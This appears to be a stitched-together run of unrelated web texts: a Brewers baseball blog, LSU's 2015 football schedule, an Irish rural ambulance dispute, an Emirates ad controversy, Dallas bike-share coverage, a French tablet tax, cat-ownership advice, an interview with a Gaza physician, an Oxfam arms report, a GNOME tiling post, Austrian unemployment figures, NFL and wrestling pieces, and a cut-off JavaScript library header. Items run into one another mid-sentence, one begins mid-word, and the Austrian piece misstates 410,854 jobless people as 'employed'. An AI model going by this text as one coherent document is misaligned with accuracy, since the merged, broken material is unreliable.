A better bullpen and the Brewers would likely be in the playoffs. That's not a ground-breaking thought. But it's the unfortunate truth. It's unfortunate because 50 innings is such a poor sample size, and that's about what you get with most relievers. It's why bullpen numbers can fluctuate so wildly and why many, me included, think spending large amounts of money on free-agent relievers is usually an awful idea. The Brewers might have almost the exact same bullpen next year (probably sans K-Rod) and this same bullpen might be one of the best in the league. It's how bullpens work. Sure, you can have a Nationals or Braves bullpen that obviously is so much better than everyone else. But usually you just have a couple reliable guys and hope that everyone has an "up" season.
So that gives the Brewers hope for 2013, even without Zack Greinke. The offense has been led by big years from Aramis Ramirez and Ryan Braun this year. Ramirez will probably drop back a little, though Braun is good enough to continue at this level. Jonathan Lucroy might drop back some, but Rickie Weeks hopefully won't go through another three-month stretch of being the worst hitter in baseball. Carlos Gomez has taken big steps forward. Corey Hart will hit. Jean Segura and Norichika Aoki have promise. Mat Gamel could provide a bat.
The starting pitching is starting to look young and promising. Gallardo will lead with Marco Estrada probably having locked up a rotation spot as well. Then they have a, hopefully, well rested Mike Fiers who came on like gangbusters this season. They have Mark Rogers and Wily Peralta, who both pitched well in major league try-outs. They have a returning Chris Narveson. And they might have money to improve on one of those spots if need be.
There might not be Zack Greinke, but he's only one man pitching every five days. The 2013 Brewers could be the good version of the 2012 Brewers. The 2012 season might have ended up being a bust, but at least we got that final, glorious run at the end. At least Milwaukee made baseball fun again, for a little while. I'll take that over squandering in mediocrity the whole season.
The 2012 season isn't over. But it's pretty much over. There was some good and some bad. But it gave Milwaukee something to continue to build on in future years, and we can all look forward to that.Tiger Stadium : LSU vs. Sam Houston
LSU wil have seven home games in the 2015 season, which also includes a first-time trip to Syracuse.
(Brett Duke / NOLA.com | The Times-Picayune)
LSU's 2015 football schedule was released by the SEC office Tuesday and features seven home games, plus a first-time trip to Syracuse in a non-conference road game on Sept. 26.
Scroll down for the complete LSU schedule. Click here for the entire SEC week-by-week 2015 schedule.
The Tigers open the season at home for only the second time in five years against McNeese State and will play SEC rivals Auburn (Sept. 19), Florida (Oct. 17), Arkansas (Nov. 21) and Texas A&M (Nov. 28) in Tiger Stadium.Texas Home games against Southeastern Conference rivals Auburn, Arkansas, Texas A&M and Florida highlight the 2015 LSU football schedule, which was announced Tuesday by the league office.
LSU's first road game will also be the conference opener against Mississippi State (Sept. 12). LSU travels to South Carolina (Oct. 10) and after an open date will play at Alabama on Nov. 7.
LSU's game against Syracuse will be just the third meeting between the teams and the first since the 1989 Hall of Fame Bowl in Tampa. LSU and Syracuse also played in the 1965 Sugar Bowl in New Orleans with the Tigers posting a 13-10 win over the Orange. Syracuse will make the return trip to Baton Rouge in 2017.
2015 LSU Football Schedule
Sept. 5 McNEESE STATE
Sept. 12 at Mississippi State
Sept. 19 AUBURN
Sept. 26 at Syracuse
Oct. 3 EASTERN MICHIGAN
Oct. 10 at South Carolina
Oct. 17 FLORIDA
Oct. 24 WESTERN KENTUCKY
Oct. 31 Open date
Nov. 7 at Alabama
Nov. 14 ARKANSAS
Nov. 21 at Ole Miss
Nov. 28 TEXAS A&M
**************
Jim Kleinpeter can be reached at jkleinpeter@nola.com or 504.826.3405.The Minister for Health has infuriated campaigners for a proper ambulance service in North Connemara – by indicating that the only practical way to improve ambulance response times in rural areas was to do it themselves.
Simon Harris suggested that the best option was through voluntary community first-responders, in replying to Galway West Deputy Eamon Ó Cuív.
BY TIM RYAN
He said the Minister recently met a delegation from Connemara to discuss the ambulance service.
“I was surprised to get a reply from him telling me that the solution to the rural areas ambulance problem is a do-it-yourself job of voluntary responders,” he said.
“It seems to me to be a shocking response. I am not against volunteerism, but I do not see why rural people are always expected to do the DIY job when urban people rightly expect it to be done properly,” he said.
In response, Minister Simon Harris said ambulance turnaround times measure the time interval from ambulance arrival at a hospital, to when the crew is ready to accept another call.
“When the emergency care system is under pressure, there is the potential for delay in the transfer of care of patients from ambulance to emergency department personnel,” he said.
“I accept that in a number of hospitals, including those highlighted in the individual questions, the emergency departments are particularly busy and this can contribute significantly to delays in ambulance turnaround.”
Minister Harris did tell Deputy Ó Cuív that he was determined to make sure that people throughout this country, regardless of whether they live in rural or urban areas, get better access to ambulances in a more timely manner is by investing in the national ambulance service.
“That is what we are doing. The €7.2 million of extra funding in 2016 for the service will be supplemented by a further €3.6 million, including another €1 million for new developments.”
In order to meet HIQA response times, because of the demographic layout of this country the Minister said he was going to need to continue to see additional contributions from community first-responders.
“They are doing a superb job around this country, as the Deputy has acknowledged, but with the best will in the world, even as we continue to increase ambulances, as we are going to do, and continue to increase the number of paramedics, which we are doing, we still require community first-responders to help support rural Ireland. It is not just rural Ireland but urban Ireland as well,” he added.
Separately the Connemara Ambulance Crisis Steering Group expressed their ‘disgust’ at a separate Dail response on the issue – this time to Sinn Fein Deputy Leader Mary Lou McDonald – on the issue.
She asked the Minister to outline his plans to address the issue – including a response to the group’s own suggestion to base an ambulance in an empty Garda barracks.
But Minister Harris said that this was ‘a service mater’ and he would get the HSE to response directly to Deputy McDonald.
“We are furious at this lack of response to the seriousness of the matter and at the treatment dished out to the people living in North West Connemara – and indeed to the hundreds of thousands of visitors who come to Connemara annually, some of whom will definitely need an ambulance,” said Patricia Keane, on behalf of the North West Connemara Ambulance Crisis Steering Group.
“Enough is enough – it is time we, as a group, became more serious in our campaign. This is, after all, a basic human right to which we are being denied,” she added.
The Steering Group have been campaigning for over two and a half years for an improvement in their ambulance service which has been known to leave patients waiting two to three hours for an ambulance from call-out time to time of arrival at patient.
The Group met with Leo Varadkar when he was Minister for Health, with the HSE, the Red Cross, local TDs and more recently with the present Minister Simon Harris as well.Since the early 1990s, it has been illegal to ride a bike in Australia without a helmet. Apparently it’s also illegal to advertise even the idea of somebody riding a bike without a helmet, no matter where they’re shown to be riding.
A recent Emirates ad at a bus stop in Sydney shows a helmet-wearing woman riding a bicycle along a bridge in Amsterdam, the Netherlands. Twitter user @BicycleAdagio posted a photo of the ad, which features the tagline, “Don’t just visit it, live it. Navigate new paths in Europe.”
Emirates ad on a bus stop in Sydney. Yes, that’s a photoshopped helmet on a cyclist in Amsterdam. pic.twitter.com/tKrJwWtU7p — Stephen B (@BicycleAdagio) June 15, 2016
But for all of its efforts to appeal to those who desire authentic travel experiences, the ad misses the mark in a pretty hilarious fashion. If you’re riding a bicycle wearing a helmet in the Netherlands, then you are almost certainly “just visiting.” For all of the millions of people who ride bicycles every day in the Netherlands, it is almost exclusively tourists who cycle with a helmet – much to the bemusement of local residents.
When the ad surfaced on the internet, it didn’t go unnoticed by the Dutch. An article in Dutch journal Het Parool wrote, according to a Google translation, “If we can believe the bus posters in Australia, we cycle here in Amsterdam well-behaved with a helmet on our heads.”
Alas, the bus posters are not to be believed. The original photo was tracked down by another Twitter user, @MartinWolley, who identified it as a stock photo from Getty Images which decidedly did not feature a helmet.
To be fair, Emirates can’t be blamed for photoshopping a helmet onto a cyclist. People who ride bikes without helmets in Australia are subject to steep – and rigidly enforced – fines which were recently upped to AUD $319. To promote helmet-less cycling would be to promote an activity which is decidedly illegal, and apparently so dangerous that the Australian Advertising Standards Board (ASB) considers it a breach of the health and safety section of the Advertiser Code of Ethics.
One company to publicly discover this, in fact, was Emirates. In 2008, the airline was taken to task by the ASB for another poster ad which featured a young woman riding sidesaddle on the back rack of a bicycle, laughing, baguette in hand, with neither she nor the rider wearing helmets. One might think that the ad, with its baguette, cobbled streets, and the tagline “The world is your playground,” would have suggested to viewers that it was shot in France where again, riding without a helmet isn’t illegal. But evidently that won’t be sufficient for the kids.
A complaint lodged with the ASB wrote “Although the presence of the baguette suggests the location is France where helmets may not be required, to a younger audience this may not be obvious.” The complaint went on to attest that the ad sends a message to viewers that “reckless behaviour with a total disregard for safety is endorsed by Emirates” and is something which viewers of the advert should aspire to, closing off with “I find this unacceptable.”
Despite a lengthy protestation from Emirates, the ASB still determined the ad to be in breach of the Advertiser Code of Ethics, after it had already been discontinued.
The irony in this situation is plain to see. A resident of a country with a decidedly poor track record for cycling safety is complaining about “total disregard for safety” promoted by the image of happy riders in a country which does an overall better job of keeping people on bikes alive.
But hey, who needs to fuss over details like that?
Given the apparent climate of fear around bicycling in Australia, one can understand why Emirates decide to err on the side of caution with their most recent ad. Although, at the very least, they could have chosen a more fashionable helmet.On Thursday afternoon, a dozen or so journalists stood in an awkward semi-circle near the Women's Museum at Fair Park, gazing at Dallas' first bike-share station. They had been promised that Mayor Mike Rawlings would be there at 3:30 p.m. to take the inaugural ride on one of the gleaming blue bicycles arrayed on the docking station before them, but the designated time had come and gone with no sign of the mayor. Dallas park director Willis Winters, the only punctual city official, stood on the fringe checking his email and looking not particularly eager to steal the show.
The reporters waited, grousing idly about the temperature, which hovered in the mid-30s. And they waited some more. Initially, the bike-share program at Fair Park was scheduled to go live early last summer, when it was still warm. But delays, including objections from the Dallas Landmark Commission over the location of one of the docking stations, delayed the unveiling to the fall, and the State Fair precluded an October debut. Hence the launch on the day of the season's first freeze.
See also: After Delays, Fair Park Bike Share Will Be Ready by September. Or Maybe November.
Continue Reading
The Feast of Sharing happening on the far end of the Esplanade provided a steady trickle of passersby to cast befuddled glances at the row of shiny new bikes and the reporters and cameramen who were staring at it. A few paused to satisfy their curiosity.
One guy in a red vinyl jacket and a Jumpman hat tried to process the purpose of the bikes. So you pay money to rent a bike -- $5 for the first 30 minutes, $2.50 for every half hour after that -- and then, because Dallas' only other bike share station is right next to the Texas Discovery Gardens, you just ride it around Fair Park? "That's crazy," he muttered, clearly at a loss to divine what anyone could possibly want to see at Fair Park.
At 3:54 p.m., as reporters were starting to mutter about hazard pay, there was an excited announcement from one of the Fair Park staffers who had recently arrived: The eagle was aloft and would alight at approximately 4 o'clock. Like clockwork, a Chevy Suburban, presumably heated, pulled to a stop and disgorged the mayor and City Councilwoman Carolyn Davis.
"It's a beautiful day for a bike ride, guys!" Rawlings gushed as he strode buoyantly toward a waiting bike. He was wobbly for his first few feet -- it was his first time on a bike since hip surgery, he explained later -- but hit his stride during a quick down-and-back to the Fair Park fountain.
The sight of Dallas' highest elected official pedaling gleefully in front of a gaggle of reporters was irresistible. "Hey! Mayor Rawlings! You still got it, my man!" a man shouted, rushing over to shake his hand.
Dismounting, Rawlings said it had been an uncommonly smooth ride and declared the he might bring Mickey Micki, his wife, to Fair Park during Thanksgiving.
"I was just in London, and these were all over the place," he said. As if to head off critics who have complained that the new Fair Park-only system, with two stations that are essentially in the same place, is a perversion of the basic concept of bike-share, i.e. a practical network of stations that people can use to travel from point a to point b, he continued. "We want them all over Dallas, but this is the perfect place to start."
Fair Park, which is all but deserted for 11 months of the year, almost certainly isn't the perfect place to start, but Rawlings gave his best sales pitch. The bikes are nice, sturdy, made to last. "I can take this to go get a pizza?" he asked Friends of Fair Park Director Craig Holcomb, nodding toward the Pizza Lounge across Grand Avenue. Why he would pay $5 to cover a quarter mile that, given the DART tracks and multiple lanes of Grand Avenue traffic that would have to be traversed, would be much easier to walk? That question wasn't answered. The point was riders are allowed to take the bikes off of Fair Park property, even onto the DART train, Holcomb says, so long as one doesn't mind adding the cost of a train ticket to the bike-share charges being racked up on one's credit card every half hour until the bike's returned to Fair Park.
Rawlings even put a positive spin on the near-freezing unveiling, explaining that his time in the restaurant business taught him the benefit of a "soft opening" to work out kinks and build excitement. You "don't launch on Labor Day," he said. "This is the perfect time."
And just in case the car-loving, cold-hating Dallas public doesn't agree, Holcomb announced that the first half-hour will be just $2.50 through January 1. So really there's no excuse not to drive down to Fair Park and ride a rented bike through the sprawling Art Deco complex, except that it costs money, is at Fair Park, and is really kind of pointless.
Send your story tips to the author, Eric Nicholson.Microsoft apparently has quite a following in the French government, which has recently decided to tax tablets…but only those that aren’t running a Windows operating system.
It has been the case for some time now that France has taxed mp3 players in an attempt to compensate for piracy of media, but according to French magazine Numerama, that existing legislation does not extend to computers.
As a result, the government needed a way to define what devices qualify as computers, which led to the decision to deem a device a computer only if it runs Microsoft Windows. This means that, as far as the French government is concerned, a tablet running any other operating system — including Linux, Mac OS, or Android — is just a device used by pirates who need to be taxed.
The decision to tax tablets that don’t run Windows obviously affects those companies that develop Android tablets, including the French-based company, Archos. The company’s CEO, Henri Crohas, expressed his frustration with the situation, maintaining that it would be absurd to claim that tablets that run Windows are less involved in copying media than those running Android (or other operating systems).
More importantly, as Crohas pointed out, the decision to tax these tablets would tilt the market in favor of Windows-based tablets, and would subsequently cause damage to Archos, which has to pay $3 million in taxes in 2009 for its other products.
Source: The InquirerULTI-CAT HOUSEHOLDS – THE PROS AND CONS I want to get a cat but someone told me I should get two together – is this true? Cats were once considered to be solitary creatures but, while there are some solitary aspects to their behavioural patterns, we now know that, although there may be individual differences, they are in fact social animals who benefit from interaction with their own and other species. As a result of this knowledge there has been a move to promote ownership of more than one cat, and in particular to encourage owners to take on two cats at the same time. This can be beneficial as the cats play together and provide each other with both physical and mental stimulation. If you are taking on more than one kitten it is certainly better to consider taking on two. You can raise young kittens from different litters, provided that you take them on at a very early age, preferably before they are seven weeks old. Adopting two slightly older kittens may work out, but the general rule is that the younger the kittens are when brought together, the more easily they will accept each other as part of their social group.
~~~If I already have a single cat, should I consider getting another cat to keep it company? If your cat is an adult and is established within your home as the only cat, then you should think carefully about introducing another feline. The majority of cats are hostile to other felines, if they are not related, and there is certainly no guarantee that your cat will thank you for its new playmate. However, some cats, if they have been sufficiently socialized to other cats or are particularly sociable (genetically) do benefit enormously from feline company. Therefore, the decision has to be made on a caseby- case basis. If your cat has been seen in the company of other cats without excessive fear or aggression, it may be possible to integrate a new cat into the household.
An easy-going cat may accept most other cats, while a timid and shy cat may be reluctant to accept another cat, depending on the new cat’s personality. An active and assertive cat may overwhelm quieter and more timid cats, making introductions difficult. Attempting to match personality types may be useful when seeking out another companion for your cat. When you are introducing a second feline you need to remember that they need to establish their own space within the home. It might be best therefore to provide the new cat with a separate housing area and slowly integrate the cats during times when they are likely to be occupied, distracted or enjoying themselves (such as feeding, play or treat times).
Key resources such as food, shelter and social interaction need to be available in sufficient amounts to ensure that there is no unnecessary conflict. It is sensible to space these resources around the home to minimise the need to share them directly. Increasing the amount of available space within the home can be achieved by making use of three dimensional features of the house by adding furniture and shelving which allow the cats to make use of vertical as well as horizontal space. If problems arise, an extended period of separation followed by a very gradual re-introduction, perhaps accompanied by the use of pheromones and/or drugs, might need to be considered. Reading their body language will be a tremendous help.
~~~Is it cruel to keep a cat as a single pet? Although cats are social creatures, they are ultimately solitary survivors. Cats can live alone perfectly happily, and, provided that they have sufficient supply of safe territory, food and affection from their owners, they will survive very well. This does not mean that they would not benefit from the presence of another cat, but it does mean that cats who are used to living alone are not likely to be suffering as a result. You will know best if your existing cat would like the company of another feline.TORONTO - Dr. Izzeldin Abuelaish speaks frankly to Israelis and Palestinians, in synagogues, mosques and cultural centers, in this city, where he now resides. On January 16, 2009 three of his daughters, Bessan (20 ), Mayar (15 ) and Aya (13 ), and his niece, Noor (17 ) were killed by an Israel Defense Forces shell fired directly into their bedroom. When Operation Cast Lead in Gaza started, he stopped traveling to his job at Sheba Medical Center at Tel Hashomer, where he worked in in vitro fertilization. A widower, he did not want to leave his children alone at home and in any case it was impossible to get through the checkpoints and enter Israel. Abuelaish became a popular commentator on events in Gaza in the Israeli press.
When the shell struck his home, he knew he had to get his injured family to a hospital in Israel as fast as possible. He bypassed the bureaucracy at the checkpoints when he phoned his friend, Channel 10 correspondent Shlomi Eldar, and during an emotional live broadcast, pleaded for assistance. Six months later, he moved to Toronto with his five remaining children, and now works at the University of Toronto's faculty of medicine - the Dalla Lana School of Public Health. This was his original plan, even before tragedy struck. In Canada, Abuelaish has chosen to bury the urge for revenge, and focus on cooperation and fraternity, and has written about his suffering and his hope in a new book entitled "I Shall Not Hate" (RandomHouse ).
Dr. Izzeldin Abuleish Eliyahu Hershkovitz
How is it that you are still optimistic?
"People think that I will wallow in hatred and revenge. As a believing Muslim and a physician, my answer to the hatred and revenge is the success in overcoming them. I am compelled to believe that out of our suffering something good has to emerge; the other alternative is too dark for me. My three dear daughters and my niece are dead. The revenge that is characteristic of the Middle East will not bring them back to me. It is important to feel the anger in such a situation - but you can choose not to turn this anger into hatred. Revenge will only scare away wisdom and lead to more anguish."
Do you believe there is hope?
"If I don't have hope inside me, I'm not alive. Each one of us can and should make a change. The change is small, overcoming the emotional barriers and the hatred, and [involves] thinking about the other.
"There are on both sides people who want to live a tranquil life of enjoyment and dignity. I can't ask that the Palestinian people have their own rights without supporting the Israeli people - they too should have rights. The two peoples are intertwined with each other, like Siamese twins; if you stab one, the other also experiences pain and the suffering is shared by all of us."
Keep updated: Sign up to our newsletter Email * Please enter a valid email address Sign up Please wait… Thank you for signing up. We've got more newsletters we think you'll find interesting. Click here Oops. Something went wrong. Please try again later. Try again Thank you, The email address you have provided is already registered. Close
What reactions do you hear when you travel around and speak about your basic beliefs?
"When I hear Israelis or Palestinians [speak], they don't look at themselves - right away, they start talking about the other side. We have to move forward. Time is creating more extremists on both sides and the ball is in Israel's court."
Do you feel that we, both peoples, are too busy with our past and with "what belongs to whom" to the point where we are burying the future?
"History has to be the basis for diagnosing the patient and his status, and according to that we should build a better future - not by blaming the patient and denouncing because of his condition."
In your book, you criticize the Palestinian leadership and write that simple and inexpensive Qassams are actually the most expensive weapons in the world if we take into account the harsh ramifications they have for both sides. So what do you say to those who argue that there is no one to talk to?
"The two peoples need an immune system against hatred. The Palestinians also feel they have no one to talk to. The Palestinian Authority and [PA President] Abu Mazen are the ones that have to be approached - and they are willing to move forward. I do not make a distinction when it comes to Hamas, just as in Israel I don't speak of parties. I don't refer to Sderot as a separate state, but rather as part of the State of Israel. We have to leave behind the arguments over who is making whom more miserable, and start talking to each other with respect and as equals."
Gilad Shalit's parents walked from their home to Jerusalem, helpless, and are still waiting for their son's release.
"For me human life and individual freedom are important. I want Gilad Shalit to be freed and I understand the pain and suffering of his parents. I lost my daughters and to this day no one from the Israeli government has apologized to me - on the contrary, they are even proud of it."
Are you directing your remarks to Hamas as well?
"I am not talking about Hamas, but about human beings [in general]. And what do you say about the Israeli government, which is not releasing the prisoners? This does not help facilitate the primary objective: They should all be freed and a new life should begin. There are two sides to the coin. We have to leave behind the ego and personal interests. The Israeli child is equal to the Palestinian child. One and a half million people in Gaza suffer every day and this is an embarrassment to the Israeli people, each one of them is the same as Ehud Barak and every other Israeli. If you want to move forward, you must treat everyone as equal human beings."
The cover of the book features a photo taken in December 2008, a month before the girls were killed. In the photo, the three sit on the beach and their names are drawn in the sand. Does that day have any special significance for you?
"It is rare for someone to see his name etched anywhere, such as in stone or metal. It is typical of generals and officeholders. For most of us, the only place our name is etched is on our gravestone. I promised that the names of my daughters would be etched in stone and metal and in Jerusalem stone and everywhere. I want through them to provide Palestinian women and girls an opportunity to get an education, and to that end I set up a foundation in memory of my daughters: Daughters for Life (http:daughtersforlife.com ).
Will you return to Gaza or have you decided to remain in Canada?
"First of all, I have a five-year contract in Toronto. But I am constantly returning to Gaza and I see things differently. For me, the entire world is my home. When I can contribute and help from any given place - that is where my home is. You have to work for the sake of humanity and not on behalf of a territory."Image caption Oxfam says 12 billion bullets are produced each year - almost two for every person in the world
Humanitarian charity Oxfam has launched a new campaign to call for the regulation of the sale of ammunition around the world.
It comes ahead of a United Nations summit in July on bringing in a new arms trade treaty to regulate the sale of arms.
Oxfam is arguing that any treaty must also regulate ammunition trade or the treaty "doesn't make sense".
But a number of nations, including the US and China, oppose such a move.
Egypt, Syria, Russia, Iran, Venezuela and several other countries are also against including ammunition trade in any final treaty, arguing that it will be too difficult to monitor.
'Fuel of conflict'
In a new report, Oxfam found that the global ammunitions industry for small arms and light weapons is worth $4.3bn (£2.78bn), much more than the trade in the weapons themselves, with 12 billion bullets produced a year.
Anna Macdonald, head of arms control at the charity, said: "A gun without a bullet is a very large metal stick, basically. Ammunition is literally the fuel of conflict.
"The trade in ammunition is lucrative, but while the monetary cost of production is low, the price paid in human lives for the trade in ammunition is incalculable."
The parameters of the new treaty, if is is passed, will be worked at a month-long UN conference in July between arms companies, governments and aid agencies.
A draft treaty which would ban all weapons sales to countries that fail to meet various human rights criteria has already been provisionally agreed to by 153 counties.
The aim is for it to bring various international laws governing the sale of arms into one legally-binding treaty.Hello GNOMErs,
I think that, at this point, at least a good part of the community is aware of the many new features that are planned to arrive with GNOME 3.26.
I’m particularly looking forward a better tiling story in GNOME Shell and Mutter.
And, y’know, I’m not exactly a referrence in being passive about my own personal technological wishes. Heck, I love hacking stuff so much that it naturally happens even when I’m sleepless and under headache. Perhaps we can call that organic hacking? 🙂
Anyway, I can’t just sit down and keep waiting for something I could work on, right?
And that’s why this happened:
This is obviously a work in progress. You can track the progress of this smarter half tiling in bug 645153. But, sssshhh don’t tell anyone, this is actually part of the future quarter tiling feature!
Have a wonderful night! o/
AdvertisementsUnemployment in otherwise prosperous central European Austria has risen over the past year, with the greatest increase observed among the migrant community.
The latest figures from the Arbeitsmarktservice Österreich (Austrian Public Employment Service, AMS) show that last month, 410,854 people were employed, some 8.7 per cent of the workforce. While this represented a 5.6 per cent increase on average nationwide, actual incidence of unemployment were highly concentrated in certain areas, and among certain communities.
Rising unemployment was highest among foreigners, who were twice as likely to have become unemployed as native Austrians over the past year, at 14.7-per-cent, reports Der Kronen Zeitung. The length of unemployment is also increasing in Austria, with job seekers now having to search for 126 days on average to find a job, a rise of 19 days since last year.
State by state breakdowns of unemployment shows that as well as joblessness being highly concentrated among foreigners, it is also growing faster in regions of Austria most closely associated with migration and the migration crisis over the past year. Capital Vienna (Wien), which has seen hundreds of thousands of migrants arrive by train from the south witnessed the most rapid increase in unemployment — some 17.4 per cent this year.
Border state Burgenland (Bgld), making up the entirety of the Austria-Hungary border and thus taking the brunt of migratory movement this year saw the second biggest rise at 11.2 per cent. Northern states Niederösterreich (NO) and Oberösterreich (OO), which both stand on the migration route out of Vienna and into Germany saw the next largest rises with 8.1 and 8.8 per cent respectively.
In contrast, the Western state of Tyrol (Tirol) which borders Switzerland and Italy saw no rise in unemployment whatever in the past year, bucking the national trend.
In terms of new migrant arrivals, those hardest hit states may expect a reprieve in the coming months. After Hungary completed it’s border fence with their southern neighbours mid last month, the number of illegals crossing their borders fell to almost zero, as newcomers flowed instead through Croatia and Slovenia.
While these migrants will still enter Austria, either settling down or continuing on their way to nations such as Germany, Sweden, and the United Kingdom, they will enter instead through southern states of Styria (Stmk) and Carinthia (Ktn), which both border Slovenia.
The observable effects of mass migration in Austria follow a pattern in Germany, revealed by a leaked internal government presentation and reported on by Breitbart London last week. The official figures by the Federal Employment Agency (Bundesagentur für Arbeit, BA) showed estimates that 81 per cent of immigrants entering Germany in 2015 were completely unqualified, and many of them were heading straight for unemployment.
As a consequence of mass migration to Germany, BA anticipated 400,000 new unemployment benefit claimants in the coming year, an increase that would cost taxpayers at least €855 million.“The more that guys are able to absorb, the more you can kind of have them do those versatile things and run different types of routes,” McVay continued. “So it is very important for guys to have an above-the-neck approach that gives them a chance to know what’s the full concept, as opposed to just individual routes and what the Z, the F, or the X receiver does on any given play.”
Cooper is a player who embodies that philosophy for Los Angeles, having taken snaps at all three different spots from the offseason program to now. The wide receiver said he’s very comfortable with each position, being able to jump in whenever and wherever he’s needed.
“With the offense that coach has put in, there’s a lot of concepts so everybody has to know what to do,” Cooper said Thursday. “One time, I could line up on the outside. And the inside, I have to know what to do if I’m the ‘Z,’ the ‘X,’ or the ‘F.’ So he stresses that a lot about knowing the offense inside and out.”
“Like today, we were in ‘12’ personnel — I think Sammy was getting taped up or something — so I just jumped in at ‘X’ and ran the play when Sammy couldn’t do it,” Cooper added. “So, I’m very comfortable. I can go out there at X, F, Z — whatever it is, I’m good with the playbook.”
Cooper said McVay and wide receivers coach Eric Yarber have done well to teach the new system, and distribute reps in practice. That’s part of why the South Carolina product has been able to pick things up so quickly. But he’s also taken advantage of extra reps when given the chance./*! Copyright (C) 2010-2013 Raymond Hill: https://github.com/gorhill/Javascript-Voronoi MIT License: See https://github.com/gorhill/Javascript-Voronoi/LICENSE.md */ /* Author: Raymond Hill (rhill@raymondhill.net) Contributor: Jesse Morgan (morgajel@gmail.com) File: rhill-voronoi-core.js Version: 0.98 Date: January 21, 2013 Description: This is my personal Javascript implementation of Steven Fortune's algorithm to compute Voronoi diagrams. License: See https://github.com/gorhill/Javascript-Voronoi/LICENSE.md Credits: See https://github.com/gorhill/Javascript-Voronoi/CREDITS.md History: See https://github.com/gorhill/Javascript-Voronoi/CHANGELOG.md ## Usage: var sites = [{x:300,y:300}, {x:100,y:100}, {x:200,y:500}, {x:250,y:450}, {x:600,y:150}]; // xl, xr means x left, x right // yt, yb means y top, y bottom var bbox = {xl:0, xr:800, yt:0, yb:600}; var voronoi = new Voronoi(); // pass an object which exhibits xl, xr, yt, yb properties. The bounding // box will be used to connect unbound edges, and to close open cells result = voronoi.compute(sites, bbox); // render, further analyze, etc. Return value: An object with the following properties: result.vertices |
’s understandable why it didn’t work out that way. Hell, the Backlash match gets “BOR-ING!” chants during some of the submissions.
Submission wrestling was a rare occurrence during the Attitude Era
There are a couple of other things that I think are proven by this match. First: Ken Shamrock could’ve made it in a WWE main event. That doesn’t necessarily mean he would’ve been a good WWE Champion, but it does mean he certainly could have been a legitimate contender. Backlash shows that Undertaker seemed to believe in him (based on his selling) and by the match’s end the crowd was hot and into it. Second: Shamrock’s two year run should’ve come two years later. The athletic skills of Ken Shamrock were wasted in the character-heavy Attitude Era. Just imagine what could’ve been if he was on the same roster as Angle, Benoit, Guerrero, and Mysterio. Shamrock’s ’97-’99 skills alone would’ve produced great matches against these guys, but imagine what he might’ve learned in the process of wrestling them. Shamrock was a great wrestler who might’ve been even greater if he had been allowed to really learn and explore.
Just for trivia, Shamrock was actually in talks with WWE in ’02 about coming back to work a program with Kurt Angle, but both sides were unable to reach an agreement. Sometimes life just isn’t fair for wrestling fans.
WHY IT ISN’T REMEMBERED
I had to go back and meticulously read the results for every Raw around this time period in order to confidently write this article. Why? Because things were fucking confusing! When you think back to the Corporation/Ministry/Corporate Ministry super-angle of those couple of months, can you clearly recall who were the faces and heels at all times? Or who was even on whose side? While Vince McMahon was clearly the heel when leading the Corporate charge against Stone Cold Steve Austin, at the same time he was defending his family from the Satanic attacks of The Undertaker. A heel vs. heel match that I did not mention last week as a successful execution of the dynamic was Undertaker and Big Bossman’s HIAC match at WrestleMania XV. We had two heels (one of which was nowhere close to the other’s level of heat) squaring off in an amazing waste of the stipulation match of WWE, a match where the only semblance of a build was Taker’s feud with the Bossman’s bossman. It did not work because the Ministry vs. Corporation feud was, as I said, fucking confusing.
And if the lack of clarity during the Ministry-Corporation feud wasn’t confusing enough, the two groups MERGED within two months. And it wasn’t as if they’d found some sort of middle ground and made peace with each other. Instead, it was revealed that they were in on it together all along. That Undertaker’s oft-praised Higher Power had been Vince McMahon all along. That Stephanie’s kidnapping and the McMahon family torment had been staged all along. If I’m remembering correctly, the reason given for this elaborately staged lie was to fool Steve Austin and to take away his WWE Title, although the Ministry-Corporation stuff was going on before Austin reclaimed the belt at WM XV. Even after researching all of this stuff I still can’t get Russo’s booking straight.
Of course, the Corporate Ministry angle made perfect sense!
Anyway, my point here is that Undertaker vs. Ken Shamrock was a victim of a mindnumbing storyline that went on for a couple of months too long. Backlash was pre-conspiracy revelation, but post-Corporate Shamrock. This means that at the time we were still under the assumption that Taker and McMahon were really in some sort of spiritual demon war, where neither side was clearly defined as either face or heel. And on top of that, Shamrock had been kicked out of the Corporation just before Backlash, despite the fact that he was the one who “saved” Stephanie. So to put it simply: Shamrock fought a guy who was in a staged blood feud with the guy who had recently kicked Shamrock out of his stable, even though Shamrock had just gone out of his way to “rescue” the last guy’s daughter. Who is the face? Who is the heel? Why did McMahon toy with Shamrock and kick him out of the group, even though he was the only one who stood up for him? And aside from revenge for his sister, why would Shamrock even fight Taker, considering he’d be doing Vince a favor? Like I said, things were fucking confusing.
This match could have been significant and well-remembered had things turned out differently for Ken Shamrock. But once The World’s Most Dangerous Man lost his IC Title, left the Corporation, and returned to his babyface ways, the dude sort of lost his place in storylines. After a short run in the Union, a never-ending feud with Steve Blackman, and an inconclusive program with Chris Jericho, Shamrock was done with WWE. His ring work was consistently on and entertaining, but WWE never seemed to get behind him once they moved him out of the Corporation. Looking back on his career in the E, most people will first remember his matches with The Rock or winning the King of the Ring in ’98. You might even say the most important moment in Shamrock’s wrestling career was when he wasn’t even wrestling at all, but when he officiated the Hart-Austin classic at WM 13. It’s a shame, because I really think Shamrock had something to offer in the WWE main event scene. At the time I thought his showing against Taker at Backlash was going to lead to a strong babyface push to the main event, but apparently it wasn’t meant to be.
WILL IT BE REMEMBERED?
By WWE? Probably not. This match is virtually worthless to wrestling history as far as WWE concerns itself, considering there’s really no need to revisit Undertaker’s peak of evil or any of Shamrock’s career. Unless there’s another Taker DVD on the horizon and they’re searching for random matches just for the sake of previously-unreleased material, I don’t think this match has a great shot at DVD release. I’ve never even seen a Backlash ’99 DVD release, but based on the feedback from you guys here I wouldn’t be surprised if it had a UK release. And since that’s a bit of a drive from Baltimore, I don’t think I’ll be getting my hands on any copies.
Feedback! (or, Proof That The World Knows I Exist!)
i remember this…i thought we were gonna get a 5 minute piece of shit match but boy was i wrong….
Posted By: Guest#9610
It well exceeded my expectations too. I was afraid they were going to waste the big Rated RKO confrontation in a short throwaway TV match but thankfully Edge and Orton brought their A-game and were given time to do something special.
Definitely agree it should have been RKO-explodes at Mania that year.
As usual, there were a glutton of guys left off the card who could have filled those two other spots for Money in the Bank.
And think, if Edge had gone over (that would’ve been MY booking), then the next year against Undertaker he TRULY would have been able to claim he was undefeated as well, rather than having to sidestep history a little bit by claiming he’d never REALLY been beat at Mania (stretchered out of Money in Bank – fairly weak all round).
Actually, dare say someone who understands WRESTLING in the creative team probably suggested that at the time, and someone who specializes in SOAP OPERAS probably shot it down.
